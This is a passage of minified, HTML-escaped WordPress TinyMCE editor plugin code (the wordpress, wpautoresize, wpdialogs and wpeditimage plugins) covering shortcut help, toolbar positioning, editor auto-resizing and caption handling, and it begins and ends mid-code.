more...&quot;:&quot;Next page&quot;),t=&#039;&lt;img src=&quot;&#039;+k.Env.transparentSrc+&#039;&quot; alt=&quot;&#039;+t+&#039;&quot; class=&quot;&#039;+n+&#039;&quot; data-wp-more=&quot;&#039;+e+&#039;&quot; data-mce-resize=&quot;false&quot; data-mce-placeholder=&quot;1&quot; /&gt;&#039;,i===a||&quot;P&quot;===i.nodeName&amp;&amp;i.parentNode===a?p.insertContent(t):(n=o.getParent(i,function(e){return!(!e.parentNode||e.parentNode!==a)},p.getBody()))&amp;&amp;(&quot;P&quot;===n.nodeName?n.appendChild(o.create(&quot;p&quot;,null,t).firstChild):o.insertAfter(o.create(&quot;p&quot;,null,t),n),p.nodeChanged())}),p.addCommand(&quot;WP_Code&quot;,function(){p.formatter.toggle(&quot;code&quot;)}),p.addCommand(&quot;WP_Page&quot;,function(){p.execCommand(&quot;WP_More&quot;,&quot;nextpage&quot;)}),p.addCommand(&quot;WP_Help&quot;,function(){var e,t=k.Env.mac?u(&quot;Ctrl + Alt + letter:&quot;):u(&quot;Shift + Alt + letter:&quot;),n=k.Env.mac?u(&quot;\u2318 + letter:&quot;):u(&quot;Ctrl + letter:&quot;),o=[],i=[],a={},r={},s=0,d=0,l=p.settings.wp_shortcut_labels;function c(e,t){var n=&quot;&lt;tr&gt;&quot;,o=0;for(t=t||1,m(e,function(e,t){n+=&quot;&lt;td&gt;&lt;kbd&gt;&quot;+t+&quot;&lt;/kbd&gt;&lt;/td&gt;&lt;td&gt;&quot;+u(e)+&quot;&lt;/td&gt;&quot;,o++});o&lt;t;)n+=&quot;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&quot;,o++;return n+&quot;&lt;/tr&gt;&quot;}l&amp;&amp;(m(l,function(e,t){var n;-1!==e.indexOf(&quot;meta&quot;)?(s++,(n=e.replace(&quot;meta&quot;,&quot;&quot;).toLowerCase())&amp;&amp;(a[n]=t,s%2==0)&amp;&amp;(o.push(c(a,2)),a={})):-1!==e.indexOf(&quot;access&quot;)&amp;&amp;(d++,n=e.replace(&quot;access&quot;,&quot;&quot;).toLowerCase())&amp;&amp;(r[n]=t,d%2==0)&amp;&amp;(i.push(c(r,2)),r={})}),0&lt;s%2&amp;&amp;o.push(c(a,2)),0&lt;d%2&amp;&amp;i.push(c(r,2)),l=&quot;&lt;tr&gt;&lt;th&gt;&quot;+(l=[u(&quot;Letter&quot;),u(&quot;Action&quot;),u(&quot;Letter&quot;),u(&quot;Action&quot;)]).join(&quot;&lt;/th&gt;&lt;th&gt;&quot;)+&quot;&lt;/th&gt;&lt;/tr&gt;&quot;,e=(e=&#039;&lt;div class=&quot;wp-editor-help&quot;&gt;&#039;)+&quot;&lt;h2&gt;&quot;+u(&quot;Default shortcuts,&quot;)+&quot; &quot;+n+&#039;&lt;/h2&gt;&lt;table class=&quot;wp-help-th-center fixed&quot;&gt;&#039;+l+o.join(&quot;&quot;)+&quot;&lt;/table&gt;&lt;h2&gt;&quot;+u(&quot;Additional shortcuts,&quot;)+&quot; &quot;+t+&#039;&lt;/h2&gt;&lt;table class=&quot;wp-help-th-center fixed&quot;&gt;&#039;+l+i.join(&quot;&quot;)+&quot;&lt;/table&gt;&quot;,e=(e=p.plugins.wptextpattern&amp;&amp;(!k.Env.ie||8&lt;k.Env.ie)?(e=e+&quot;&lt;h2&gt;&quot;+u(&quot;When starting a new paragraph with one of these formatting shortcuts followed by a space, the formatting will be applied automatically. Press Backspace or Escape to undo.&quot;)+&#039;&lt;/h2&gt;&lt;table class=&quot;wp-help-th-center fixed&quot;&gt;&#039;+c({&quot;*&quot;:&quot;Bullet list&quot;,&quot;1.&quot;:&quot;Numbered list&quot;})+c({&quot;-&quot;:&quot;Bullet list&quot;,&quot;1)&quot;:&quot;Numbered list&quot;})+&quot;&lt;/table&gt;&quot;)+&quot;&lt;h2&gt;&quot;+u(&quot;The following formatting shortcuts are replaced when pressing Enter. Press Escape or the Undo button to undo.&quot;)+&#039;&lt;/h2&gt;&lt;table class=&quot;wp-help-single&quot;&gt;&#039;+c({&quot;&gt;&quot;:&quot;Blockquote&quot;})+c({&quot;##&quot;:&quot;Heading 2&quot;})+c({&quot;###&quot;:&quot;Heading 3&quot;})+c({&quot;####&quot;:&quot;Heading 4&quot;})+c({&quot;#####&quot;:&quot;Heading 5&quot;})+c({&quot;######&quot;:&quot;Heading 6&quot;})+c({&quot;---&quot;:&quot;Horizontal line&quot;})+&quot;&lt;/table&gt;&quot;:e)+&quot;&lt;h2&gt;&quot;+u(&quot;Focus shortcuts:&quot;)+&#039;&lt;/h2&gt;&lt;table class=&quot;wp-help-single&quot;&gt;&#039;+c({&quot;Alt + F8&quot;:&quot;Inline toolbar (when an image, link or preview is selected)&quot;})+c({&quot;Alt + F9&quot;:&quot;Editor menu (when enabled)&quot;})+c({&quot;Alt + F10&quot;:&quot;Editor toolbar&quot;})+c({&quot;Alt + F11&quot;:&quot;Elements path&quot;})+&quot;&lt;/table&gt;&lt;p&gt;&quot;+u(&quot;To move focus to other buttons use Tab or the arrow keys. To return focus to the editor press Escape or use one of the buttons.&quot;)+&quot;&lt;/p&gt;&quot;,(n=p.windowManager.open({title:p.settings.classic_block_editor?&quot;Classic Block Keyboard Shortcuts&quot;:&quot;Keyboard Shortcuts&quot;,items:{type:&quot;container&quot;,classes:&quot;wp-help&quot;,html:e+=&quot;&lt;/div&gt;&quot;},buttons:{text:&quot;Close&quot;,onclick:&quot;close&quot;}})).$el)&amp;&amp;(n.$el.find(&#039;div[role=&quot;application&quot;]&#039;).attr(&quot;role&quot;,&quot;document&quot;),(t=n.$el.find(&quot;.mce-wp-help&quot;))[0])&amp;&amp;(t.attr(&quot;tabindex&quot;,&quot;0&quot;),t[0].focus(),t.on(&quot;keydown&quot;,function(e){33&lt;=e.keyCode&amp;&amp;e.keyCode&lt;=40&amp;&amp;e.stopPropagation()}))}),p.addCommand(&quot;WP_Medialib&quot;,function(){o&amp;&amp;o.media&amp;&amp;o.media.editor&amp;&amp;o.media.editor.open(p.id)}),p.addButton(&quot;wp_more&quot;,{tooltip:&quot;Insert Read More tag&quot;,onclick:function(){p.execCommand(&quot;WP_More&quot;,&quot;more&quot;)}}),p.addButton(&quot;wp_page&quot;,{tooltip:&quot;Page break&quot;,onclick:function(){p.execCommand(&quot;WP_More&quot;,&quot;nextpage&quot;)}}),p.addButton(&quot;wp_help&quot;,{tooltip:&quot;Keyboard Shortcuts&quot;,cmd:&quot;WP_Help&quot;}),p.addButton(&quot;wp_code&quot;,{tooltip:&quot;Code&quot;,cmd:&quot;WP_Code&quot;,stateSelector:&quot;code&quot;}),o&amp;&amp;o.media&amp;&amp;o.media.editor&amp;&amp;(p.addButton(&quot;wp_add_media&quot;,{tooltip:&quot;Add Media&quot;,icon:&quot;dashicon dashicons-admin-media&quot;,cmd:&quot;WP_Medialib&quot;}),p.addMenuItem(&quot;add_media&quot;,{text:&quot;Add Media&quot;,icon:&quot;wp-media-library&quot;,context:&quot;insert&quot;,cmd:&quot;WP_Medialib&quot;})),p.addMenuItem(&quot;wp_more&quot;,{text:&quot;Insert Read More tag&quot;,icon:&quot;wp_more&quot;,context:&quot;insert&quot;,onclick:function(){p.execCommand(&quot;WP_More&quot;,&quot;more&quot;)}}),p.addMenuItem(&quot;wp_page&quot;,{text:&quot;Page break&quot;,icon:&quot;wp_page&quot;,context:&quot;insert&quot;,onclick:function(){p.execCommand(&quot;WP_More&quot;,&quot;nextpage&quot;)}}),p.on(&quot;BeforeExecCommand&quot;,function(e){!k.Env.webkit||&quot;InsertUnorderedList&quot;!==e.command&amp;&amp;&quot;InsertOrderedList&quot;!==e.command||(t=t||p.dom.create(&quot;style&quot;,{type:&quot;text/css&quot;},&quot;#tinymce,#tinymce span,#tinymce li,#tinymce li&gt;span,#tinymce p,#tinymce p&gt;span{font:medium sans-serif;color:#000;line-height:normal;}&quot;),p.getDoc().head.appendChild(t))}),p.on(&quot;ExecCommand&quot;,function(e){k.Env.webkit&amp;&amp;t&amp;&amp;(&quot;InsertUnorderedList&quot;===e.command||&quot;InsertOrderedList&quot;===e.command)&amp;&amp;p.dom.remove(t)}),p.on(&quot;init&quot;,function(){var e=k.Env,t=[&quot;mceContentBody&quot;],n=p.getDoc(),o=p.dom;e.iOS&amp;&amp;o.addClass(n.documentElement,&quot;ios&quot;),&quot;rtl&quot;===p.getParam(&quot;directionality&quot;)&amp;&amp;(t.push(&quot;rtl&quot;),o.setAttrib(n.documentElement,&quot;dir&quot;,&quot;rtl&quot;)),o.setAttrib(n.documentElement,&quot;lang&quot;,p.getParam(&quot;wp_lang_attr&quot;)),e.ie?9===parseInt(e.ie,10)?t.push(&quot;ie9&quot;):8===parseInt(e.ie,10)?t.push(&quot;ie8&quot;):e.ie&lt;8&amp;&amp;t.push(&quot;ie7&quot;):e.webkit&amp;&amp;t.push(&quot;webkit&quot;),t.push(&quot;wp-editor&quot;),m(t,function(e){e&amp;&amp;o.addClass(n.body,e)}),p.on(&quot;BeforeSetContent&quot;,function(e){e.content&amp;&amp;(e.content=e.content.replace(/&lt;p&gt;\s*&lt;(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre)( [^&gt;]*)?&gt;/gi,&quot;&lt;$1$2&gt;&quot;).replace(/&lt;\/(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre)&gt;\s*&lt;\/p&gt;/gi,&quot;&lt;/$1&gt;&quot;))}),i&amp;&amp;i(function(){i(document).triggerHandler(&quot;tinymce-editor-init&quot;,[p])}),window.tinyMCEPreInit&amp;&amp;window.tinyMCEPreInit.dragDropUpload&amp;&amp;o.bind(n,&quot;dragstart dragend dragover drop&quot;,function(e){i&amp;&amp;i(document).trigger(new i.Event(e))}),p.getParam(&quot;wp_paste_filters&quot;,!0)&amp;&amp;(p.on(&quot;PastePreProcess&quot;,function(e){e.content=e.content.replace(/&lt;br class=&quot;?Apple-interchange-newline&quot;?&gt;/gi,&quot;&quot;),k.Env.webkit||(e.content=e.content.replace(/(&lt;[^&gt;]+) style=&quot;[^&quot;]*&quot;([^&gt;]*&gt;)/gi,&quot;$1$2&quot;),e.content=e.content.replace(/(&lt;[^&gt;]+) data-mce-style=([^&gt;]+&gt;)/gi,&quot;$1 style=$2&quot;))}),p.on(&quot;PastePostProcess&quot;,function(e){p.$(&quot;p&quot;,e.node).each(function(e,t){o.isEmpty(t)&amp;&amp;o.remove(t)}),k.isIE&amp;&amp;p.$(&quot;a&quot;,e.node).find(&quot;font, u&quot;).each(function(e,t){o.remove(t,!0)})}))}),p.on(&quot;SaveContent&quot;,function(e){!p.inline&amp;&amp;p.isHidden()?e.content=e.element.value:(e.content=e.content.replace(/&lt;p&gt;(?:&lt;br ?\/?&gt;|\u00a0|\uFEFF| )*&lt;\/p&gt;/g,&quot;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&quot;),e.content=r?o.editor.removep(e.content):e.content.replace(/--&gt;\s*&lt;!-- wp:/g,&quot;--\x3e\n\n\x3c!-- wp:&quot;))}),p.on(&quot;preInit&quot;,function(){p.schema.addValidElements(&quot;@[id|accesskey|class|dir|lang|style|tabindex|title|contenteditable|draggable|dropzone|hidden|spellcheck|translate],i,b,script[src|async|defer|type|charset|crossorigin|integrity]&quot;),k.Env.iOS&amp;&amp;(p.settings.height=300),m({c:&quot;JustifyCenter&quot;,r:&quot;JustifyRight&quot;,l:&quot;JustifyLeft&quot;,j:&quot;JustifyFull&quot;,q:&quot;mceBlockQuote&quot;,u:&quot;InsertUnorderedList&quot;,o:&quot;InsertOrderedList&quot;,m:&quot;WP_Medialib&quot;,t:&quot;WP_More&quot;,d:&quot;Strikethrough&quot;,p:&quot;WP_Page&quot;,x:&quot;WP_Code&quot;},function(e,t){p.shortcuts.add(&quot;access+&quot;+t,&quot;&quot;,e)}),p.addShortcut(&quot;meta+s&quot;,&quot;&quot;,function(){o&amp;&amp;o.autosave&amp;&amp;o.autosave.server.triggerSave()}),p.settings.classic_block_editor||p.addShortcut(&quot;access+z&quot;,&quot;&quot;,&quot;WP_Adv&quot;),p.on(&quot;keydown&quot;,function(e){var t=k.Env.mac?e.ctrlKey&amp;&amp;e.altKey&amp;&amp;&quot;KeyH&quot;===e.code:e.shiftKey&amp;&amp;e.altKey&amp;&amp;&quot;KeyH&quot;===e.code;return!t||(p.execCommand(&quot;WP_Help&quot;),e.stopPropagation(),e.stopImmediatePropagation(),!1)}),1&lt;window.getUserSetting(&quot;editor_plain_text_paste_warning&quot;)&amp;&amp;(p.settings.paste_plaintext_inform=!1),k.Env.mac&amp;&amp;k.$(p.iframeElement).attr(&quot;title&quot;,u(&quot;Rich Text Area. Press Control-Option-H for help.&quot;))}),p.on(&quot;PastePlainTextToggle&quot;,function(e){!0===e.state&amp;&amp;(e=parseInt(window.getUserSetting(&quot;editor_plain_text_paste_warning&quot;),10)||0)&lt;2&amp;&amp;window.setUserSetting(&quot;editor_plain_text_paste_warning&quot;,++e)}),p.on(&quot;beforerenderui&quot;,function(){p.theme.panel&amp;&amp;(m([&quot;button&quot;,&quot;colorbutton&quot;,&quot;splitbutton&quot;],function(e){(e=p.theme.panel.find(e))&amp;&amp;m(e,function(e){var t;e&amp;&amp;e.settings.tooltip&amp;&amp;(t=d(e.settings.tooltip),e.settings.tooltip=t,e._aria)&amp;&amp;e._aria.label&amp;&amp;(e._aria.label=t)})}),m(p.theme.panel.find(&quot;listbox&quot;),function(e){e&amp;&amp;&quot;Paragraph&quot;===e.settings.text&amp;&amp;m(e.settings.values,function(e){e.text&amp;&amp;s.hasOwnProperty(e.text)&amp;&amp;(e.shortcut=&quot;(&quot;+s[e.text]+&quot;)&quot;)})}))}),p.on(&quot;preinit&quot;,function(){var n,v,t,_,y,P,o,r=k.ui.Factory,s=p.settings,e=p.getContainer(),x=document.getElementById(&quot;wpadminbar&quot;),C=document.getElementById(p.id+&quot;_ifr&quot;);function i(e){if(n)if(n.tempHide||&quot;hide&quot;===e.type||&quot;blur&quot;===e.type)n.hide(),n=!1;else if((&quot;resizewindow&quot;===e.type||&quot;scrollwindow&quot;===e.type||&quot;resize&quot;===e.type||&quot;scroll&quot;===e.type)&amp;&amp;!n.blockHide){if(&quot;resize&quot;===e.type||&quot;resizewindow&quot;===e.type){if(e=(e=p.getWin()).innerHeight+e.innerWidth,!(o=o&amp;&amp;2e3&lt;(new Date).getTime()-o.timestamp?null:o))return void(o={timestamp:(new Date).getTime(),size:e});if(e&amp;&amp;Math.abs(e-o.size)&lt;2)return}clearTimeout(t),t=setTimeout(function(){n&amp;&amp;&quot;function&quot;==typeof n.show&amp;&amp;(n.scrolling=!1,n.show())},250),n.scrolling=!0,n.hide()}}e&amp;&amp;(_=k.$(&quot;.mce-toolbar-grp&quot;,e)[0],y=k.$(&quot;.mce-statusbar&quot;,e)[0]),&quot;content&quot;===p.id&amp;&amp;(P=document.getElementById(&quot;post-status-info&quot;)),p.shortcuts.add(&quot;alt+119&quot;,&quot;&quot;,function(){var e;n&amp;&amp;(e=n.find(&quot;toolbar&quot;)[0])&amp;&amp;e.focus(!0)}),p.on(&quot;nodechange&quot;,function(e){var t=p.selection.isCollapsed(),e={element:e.element,parents:e.parents,collapsed:t};p.fire(&quot;wptoolbar&quot;,e),v=e.selection||e.element,n&amp;&amp;n!==e.toolbar&amp;&amp;n.hide(),e.toolbar?(n=e.toolbar).visible()?n.reposition():n.show():n=!1}),p.on(&quot;focus&quot;,function(){n&amp;&amp;n.show()}),p.inline?(p.on(&quot;resizewindow&quot;,i),document.addEventListener(&quot;scroll&quot;,i,!0)):(p.dom.bind(p.getWin(),&quot;resize scroll&quot;,i),p.on(&quot;resizewindow scrollwindow&quot;,i)),p.on(&quot;remove&quot;,function(){document.removeEventListener(&quot;scroll&quot;,i,!0),p.off(&quot;resizewindow scrollwindow&quot;,i),p.dom.unbind(p.getWin(),&quot;resize scroll&quot;,i)}),p.on(&quot;blur hide&quot;,i),p.wp=p.wp||{},p.wp._createToolbar=function(e,t){var n,o,a=[];return m(e,function(i){var t,e;function n(){var e=p.selection;&quot;bullist&quot;===t&amp;&amp;e.selectorChanged(&quot;ul &gt; li&quot;,function(e,t){for(var n,o=t.parents.length;o--&amp;&amp;&quot;OL&quot;!==(n=t.parents[o].nodeName)&amp;&amp;&quot;UL&quot;!=n;);i.active(e&amp;&amp;&quot;UL&quot;===n)}),&quot;numlist&quot;===t&amp;&amp;e.selectorChanged(&quot;ol &gt; li&quot;,function(e,t){for(var n,o=t.parents.length;o--&amp;&amp;&quot;OL&quot;!==(n=t.parents[o].nodeName)&amp;&amp;&quot;UL&quot;!==n;);i.active(e&amp;&amp;&quot;OL&quot;===n)}),i.settings.stateSelector&amp;&amp;e.selectorChanged(i.settings.stateSelector,function(e){i.active(e)},!0),i.settings.disabledStateSelector&amp;&amp;e.selectorChanged(i.settings.disabledStateSelector,function(e){i.disabled(e)})}&quot;|&quot;===i?o=null:r.has(i)?(i={type:i},s.toolbar_items_size&amp;&amp;(i.size=s.toolbar_items_size),a.push(i),o=null):(o||(o={type:&quot;buttongroup&quot;,items:[]},a.push(o)),p.buttons[i]&amp;&amp;(t=i,(i=&quot;function&quot;==typeof(i=p.buttons[t])?i():i).type=i.type||&quot;button&quot;,s.toolbar_items_size&amp;&amp;(i.size=s.toolbar_items_size),(e=i.tooltip||i.title)&amp;&amp;(i.tooltip=d(e)),i=r.create(i),o.items.push(i),p.initialized?n():p.on(&quot;init&quot;,n)))}),(n=r.create({type:&quot;panel&quot;,layout:&quot;stack&quot;,classes:&quot;toolbar-grp inline-toolbar-grp&quot;,ariaRoot:!0,ariaRemember:!0,items:[{type:&quot;toolbar&quot;,layout:&quot;flow&quot;,items:a}]})).bottom=t,n.on(&quot;show&quot;,function(){this.reposition()}),n.on(&quot;keydown&quot;,function(e){27===e.keyCode&amp;&amp;(this.hide(),p.focus())}),p.on(&quot;remove&quot;,function(){n.remove()}),n.reposition=function(){var e,t,n,o,i,a,r,s,d,l,c,p,m,u,g,h,f,w,b;return v&amp;&amp;(e=window.pageXOffset||document.documentElement.scrollLeft,t=window.pageYOffset||document.documentElement.scrollTop,n=window.innerWidth,u=window.innerHeight,o=C?C.getBoundingClientRect():{top:0,right:n,bottom:u,left:0,width:n,height:u},a=(i=this.getEl()).offsetWidth,r=i.clientHeight,d=((s=v.getBoundingClientRect()).left+s.right)/2,l=r+5,c=x?x.getBoundingClientRect().bottom:0,b=_?_.getBoundingClientRect().bottom:0,p=y?u-y.getBoundingClientRect().top:0,m=P?u-P.getBoundingClientRect().top:0,c=Math.max(0,c,b,o.top),b=Math.max(0,p,m,u-o.bottom),p=s.top+o.top-c,m=u-o.top-s.bottom-b,g=&quot;&quot;,f=h=0,(u=u-c-b)&lt;=p||u&lt;=m?(this.scrolling=!0,this.hide(),this.scrolling=!1):(k.Env.iOS&amp;&amp;&quot;IMG&quot;===v.nodeName&amp;&amp;(h=54,f=46),this.bottom?l&lt;=m?(g=&quot; mce-arrow-up&quot;,w=s.bottom+o.top+t-f):l&lt;=p&amp;&amp;(g=&quot; mce-arrow-down&quot;,w=s.top+o.top+t-r+h):l&lt;=p?(g=&quot; mce-arrow-down&quot;,w=s.top+o.top+t-r+h):l&lt;=m&amp;&amp;u/2&gt;s.bottom+o.top-c&amp;&amp;(g=&quot; mce-arrow-up&quot;,w=s.bottom+o.top+t-f),void 0===w&amp;&amp;(w=t+c+5+f),b=d-a/2+o.left+e,s.left&lt;0||s.right&gt;o.width?b=o.left+e+(o.width-a)/2:n&lt;=a?(g+=&quot; mce-arrow-full&quot;,b=0):b&lt;0&amp;&amp;s.left+a&gt;n||n&lt;b+a&amp;&amp;s.right-a&lt;0?b=(n-a)/2:b&lt;o.left+e?(g+=&quot; mce-arrow-left&quot;,b=s.left+o.left+e):b+a&gt;o.width+o.left+e&amp;&amp;(g+=&quot; mce-arrow-right&quot;,b=s.right-a+o.left+e),k.Env.iOS&amp;&amp;&quot;IMG&quot;===v.nodeName&amp;&amp;(g=g.replace(/ ?mce-arrow-(up|down)/g,&quot;&quot;)),i.className=i.className.replace(/ ?mce-arrow-[\w]+/g,&quot;&quot;)+g,E.setStyles(i,{left:b,top:w}))),this},n.hide().renderTo(document.body),n}},!0),{_showButtons:n,_hideButtons:n,_setEmbed:n,_getEmbed:n}})}(window.tinymce);
// Source: wp-includes/js/tinymce/plugins/wpautoresize/plugin.min.js
tinymce.PluginManager.add(&quot;wpautoresize&quot;,function(g){var m=g.settings,h=300,c=!1;function f(e){return parseInt(e,10)||0}function y(e){var t,o,n,i,a,s,l,u,r,d=tinymce.DOM;c&amp;&amp;(o=g.getDoc())&amp;&amp;(e=e||{},t=o.body,o=o.documentElement,n=m.autoresize_min_height,!t||e&amp;&amp;&quot;setcontent&quot;===e.type&amp;&amp;e.initial||g.plugins.fullscreen&amp;&amp;g.plugins.fullscreen.isFullscreen()?t&amp;&amp;o&amp;&amp;(t.style.overflowY=&quot;auto&quot;,o.style.overflowY=&quot;auto&quot;):(i=g.dom.getStyle(t,&quot;margin-top&quot;,!0),a=g.dom.getStyle(t,&quot;margin-bottom&quot;,!0),s=g.dom.getStyle(t,&quot;padding-top&quot;,!0),l=g.dom.getStyle(t,&quot;padding-bottom&quot;,!0),u=g.dom.getStyle(t,&quot;border-top-width&quot;,!0),r=g.dom.getStyle(t,&quot;border-bottom-width&quot;,!0),(i=t.offsetHeight+f(i)+f(a)+f(s)+f(l)+f(u)+f(r))&amp;&amp;i&lt;o.offsetHeight&amp;&amp;(i=o.offsetHeight),(i=isNaN(i)||i&lt;=0?tinymce.Env.ie?t.scrollHeight:tinymce.Env.webkit&amp;&amp;0===t.clientHeight?0:t.offsetHeight:i)&gt;m.autoresize_min_height&amp;&amp;(n=i),m.autoresize_max_height&amp;&amp;i&gt;m.autoresize_max_height?(n=m.autoresize_max_height,t.style.overflowY=&quot;auto&quot;,o.style.overflowY=&quot;auto&quot;):(t.style.overflowY=&quot;hidden&quot;,o.style.overflowY=&quot;hidden&quot;,t.scrollTop=0),n!==h&amp;&amp;(a=n-h,d.setStyle(g.iframeElement,&quot;height&quot;,n+&quot;px&quot;),h=n,tinymce.isWebKit&amp;&amp;a&lt;0&amp;&amp;y(e),g.fire(&quot;wp-autoresize&quot;,{height:n,deltaHeight:&quot;nodechange&quot;===e.type?a:null}))))}function n(e,t,o){setTimeout(function(){y(),e--?n(e,t,o):o&amp;&amp;o()},t)}g.settings.inline||tinymce.Env.iOS||(m.autoresize_min_height=parseInt(g.getParam(&quot;autoresize_min_height&quot;,g.getElement().offsetHeight),10),m.autoresize_max_height=parseInt(g.getParam(&quot;autoresize_max_height&quot;,0),10),m.wp_autoresize_on&amp;&amp;(c=!0,g.on(&quot;init&quot;,function(){g.dom.addClass(g.getBody(),&quot;wp-autoresize&quot;)}),g.on(&quot;nodechange keyup FullscreenStateChanged&quot;,y),g.on(&quot;setcontent&quot;,function(){n(3,100)}),g.getParam(&quot;autoresize_on_init&quot;,!0))&amp;&amp;g.on(&quot;init&quot;,function(){n(10,200,function(){n(5,1e3)})}),g.on(&quot;show&quot;,function(){h=0}),g.addCommand(&quot;wpAutoResize&quot;,y),g.addCommand(&quot;wpAutoResizeOn&quot;,function(){g.dom.hasClass(g.getBody(),&quot;wp-autoresize&quot;)||(c=!0,g.dom.addClass(g.getBody(),&quot;wp-autoresize&quot;),g.on(&quot;nodechange setcontent keyup FullscreenStateChanged&quot;,y),y())}),g.addCommand(&quot;wpAutoResizeOff&quot;,function(){var e;m.wp_autoresize_on||(c=!1,e=g.getDoc(),g.dom.removeClass(g.getBody(),&quot;wp-autoresize&quot;),g.off(&quot;nodechange setcontent keyup FullscreenStateChanged&quot;,y),e.body.style.overflowY=&quot;auto&quot;,e.documentElement.style.overflowY=&quot;auto&quot;,h=0)}))});
// Source: wp-includes/js/tinymce/plugins/wpdialogs/plugin.min.js
tinymce.WPWindowManager=tinymce.InlineWindowManager=function(a){if(this.wp)return this;this.wp={},this.parent=a.windowManager,this.editor=a,tinymce.extend(this,this.parent),this.open=function(e,i){var n,o=this,t=this.wp;if(!e.wpDialog)return this.parent.open.apply(this,arguments);e.id&amp;&amp;(&quot;undefined&quot;!=typeof jQuery&amp;&amp;jQuery.wp&amp;&amp;jQuery.wp.wpdialog?(t.$element=n=jQuery(&quot;#&quot;+e.id),n.length&amp;&amp;(window.console&amp;&amp;window.console.log&amp;&amp;window.console.log(&quot;tinymce.WPWindowManager is deprecated. Use the default editor.windowManager to open dialogs with inline HTML.&quot;),t.features=e,t.params=i,a.nodeChanged(),n.data(&quot;wpdialog&quot;)||n.wpdialog({title:e.title,width:e.width,height:e.height,modal:!0,dialogClass:&quot;wp-dialog&quot;,zIndex:3e5}),n.wpdialog(&quot;open&quot;),n.on(&quot;wpdialogclose&quot;,function(){o.wp.$element&amp;&amp;(o.wp={})}))):window.console&amp;&amp;window.console.error&amp;&amp;window.console.error(&#039;wpdialog.js is not loaded. Please set &quot;wpdialogs&quot; as dependency for your script when calling wp_enqueue_script(). You may also want to enqueue the &quot;wp-jquery-ui-dialog&quot; stylesheet.&#039;))},this.close=function(){if(!this.wp.features||!this.wp.features.wpDialog)return this.parent.close.apply(this,arguments);this.wp.$element.wpdialog(&quot;close&quot;)}},tinymce.PluginManager.add(&quot;wpdialogs&quot;,function(e){e.on(&quot;init&quot;,function(){e.windowManager=new tinymce.WPWindowManager(e)})});
// Source: wp-includes/js/tinymce/plugins/wpeditimage/plugin.min.js
tinymce.PluginManager.add(&quot;wpeditimage&quot;,function(g){var r,u,n,c,a,e=tinymce.each,l=tinymce.trim,t=tinymce.Env.iOS;function i(e){return!(!g.dom.getAttrib(e,&quot;data-mce-placeholder&quot;)&amp;&amp;!g.dom.getAttrib(e,&quot;data-mce-object&quot;))}function o(e){e=g.$(e).parents(&quot;[contenteditable]&quot;);return e&amp;&amp;&quot;false&quot;===e.attr(&quot;contenteditable&quot;)}function d(e){return e.replace(/(?:&lt;p&gt;)?\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\](?:&lt;\/p&gt;)?/g,function(e,t,n){var a,i,o,r,c,d=t.match(/id=[&#039;&quot;]([^&#039;&quot;]*)[&#039;&quot;] ?/);return(c=(t=(i=(t=(a=(t=d?t.replace(d[0],&quot;&quot;):t).match(/align=[&#039;&quot;]([^&#039;&quot;]*)[&#039;&quot;] ?/))?t.replace(a[0],&quot;&quot;):t).match(/class=[&#039;&quot;]([^&#039;&quot;]*)[&#039;&quot;] ?/))?t.replace(i[0],&quot;&quot;):t).match(/width=[&#039;&quot;]([0-9]*)[&#039;&quot;] ?/))&amp;&amp;(t=t.replace(c[0],&quot;&quot;)),r=(r=(n=l(n)).match(/((?:&lt;a [^&gt;]+&gt;)?&lt;img [^&gt;]+&gt;(?:&lt;\/a&gt;)?)([\s\S]*)/i))&amp;&amp;r[2]?(o=l(r[2]),l(r[1])):(o=l(t).replace(/caption=[&#039;&quot;]/,&quot;&quot;).replace(/[&#039;&quot;]$/,&quot;&quot;),n),d=d&amp;&amp;d[1]?d[1].replace(/[&lt;&gt;&amp;]+/g,&quot;&quot;):&quot;&quot;,a=a&amp;&amp;a[1]?a[1]:&quot;alignnone&quot;,i=i&amp;&amp;i[1]?&quot; &quot;+i[1].replace(/[&lt;&gt;&amp;]+/g,&quot;&quot;):&quot;&quot;,(c=(c=!c&amp;&amp;r?r.match(/width=[&#039;&quot;]([0-9]*)[&#039;&quot;]/):c)&amp;&amp;c[1]?c[1]:c)&amp;&amp;o?(c=parseInt(c,10),g.getParam(&quot;wpeditimage_html5_captions&quot;)||(c+=10),&#039;&lt;div class=&quot;mceTemp&quot;&gt;&lt;dl id=&quot;&#039;+d+&#039;&quot; class=&quot;wp-caption &#039;+a+i+&#039;&quot; style=&quot;width: &#039;+c+&#039;px&quot;&gt;&lt;dt class=&quot;wp-caption-dt&quot;&gt;&#039;+r+&#039;&lt;/dt&gt;&lt;dd class=&quot;wp-caption-dd&quot;&gt;&#039;+o+&quot;&lt;/dd&gt;&lt;/dl&gt;&lt;/div&gt;&quot;):n})}function s(e){return e.replace(/(?:&lt;div [^&gt;]+mceTemp[^&gt;]+&gt;)?\s*(&lt;dl [^&gt;]+wp-caption[^&gt;]+&gt;[\s\S]+?&lt;\/dl&gt;)\s*(?:&lt;\/div&gt;)?/g,function(e,t){var n=&quot;&quot;;return-1===t.indexOf(&quot;&lt;img &quot;)||-1!==t.indexOf(&quot;&lt;/p&gt;&quot;)?t.replace(/&lt;d[ldt]( [^&gt;]+)?&gt;/g,&quot;&quot;).replace(/&lt;\/d[ldt]&gt;/g,&quot;&quot;):-1===(n=t.replace(/\s*&lt;dl ([^&gt;]+)&gt;\s*&lt;dt [^&gt;]+&gt;([\s\S]+?)&lt;\/dt&gt;\s*&lt;dd [^&gt;]+&gt;([\s\S]*?)&lt;\/dd&gt;\s*&lt;\/dl&gt;\s*/gi,function(e,t,n,a){var i,o,r=n.match(/width=&quot;([0-9]*)&quot;/);return r=r&amp;&amp;r[1]?r[1]:&quot;&quot;,o=(i=(i=t.match(/class=&quot;([^&quot;]*)&quot;/))&amp;&amp;i[1]?i[1]:&quot;&quot;).match(/align[a-z]+/i)||&quot;alignnone&quot;,r&amp;&amp;a?&#039;[caption id=&quot;&#039;+((t=t.match(/id=&quot;([^&quot;]*)&quot;/))&amp;&amp;t[1]?t[1]:&quot;&quot;)+&#039;&quot; align=&quot;&#039;+o+&#039;&quot; width=&quot;&#039;+r+&#039;&quot;&#039;+(i=(i=i.replace(/wp-caption ?|align[a-z]+ ?/gi,&quot;&quot;))&amp;&amp;&#039; class=&quot;&#039;+i+&#039;&quot;&#039;)+&quot;]&quot;+n+&quot; 